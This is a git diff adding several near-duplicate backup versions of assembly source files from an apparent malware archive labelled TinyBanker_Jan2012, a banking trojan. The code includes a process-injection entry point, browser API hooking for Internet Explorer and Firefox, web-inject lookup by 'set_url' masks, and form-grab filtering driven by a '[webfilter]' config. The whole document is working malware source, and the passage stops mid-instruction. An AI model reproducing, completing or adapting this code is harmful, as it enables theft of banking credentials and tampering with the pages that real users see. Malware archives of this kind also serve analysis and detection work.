;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW + invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW + invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM new file mode 100644 index 0000000..a39ddaf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== ;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW +; invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW +; invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc new file mode 100644 index 0000000..1e6d100 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject1 proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc new file mode 100644 index 0000000..f5da49b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc new file mode 100644 index 0000000..37ddd0a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\r\nset_url ", 10 + jmpz eax, @ret + lea edi, [eax+10] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM new file mode 100644 index 0000000..9abcf5d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc +; include Install\Install.inc + include Install\GlobalInject.inc + + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM new file mode 100644 index 0000000..746d3da --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc +; include Install\Install.inc + include Install\GlobalInject.inc + + + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM new file mode 100644 index 0000000..551c113 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + +; include Install\Install.inc + include Install\GlobalInject.inc + + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM new file mode 100644 index 0000000..b3845ab --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM @@ -0,0 +1,88 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include CONFIG.ASM + +; include Install\Install.inc + include Install\GlobalInject.inc + + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM new file mode 100644 index 0000000..46853ab --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM @@ -0,0 +1,23 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + local WSAData : WSADATA + + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx _WSAStartup[ebx], 202h, &WSAData + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM new file mode 100644 index 0000000..f0f58fd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM @@ -0,0 +1,19 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc new file mode 100644 index 0000000..8c6646a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + dec esi ;; reset grab flag modificator + inc eax ;; next char + dec ecx ;; new len + + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc new file mode 100644 index 0000000..88f0b7b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax ;; next char + dec ecx ;; new len + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc new file mode 100644 index 0000000..32ed562 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax ;; + dec ecx ;; + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc new file mode 100644 index 0000000..9733ec5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi ;; reset grab flag modificator + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc new file mode 100644 index 0000000..dd075d6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; Set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc new file mode 100644 index 0000000..59f6c2a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc @@ -0,0 +1,89 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi ;; reset grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + inc eax + dec ecx + dec esi + + +@@: inc esi + + + +@cmp: + invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov 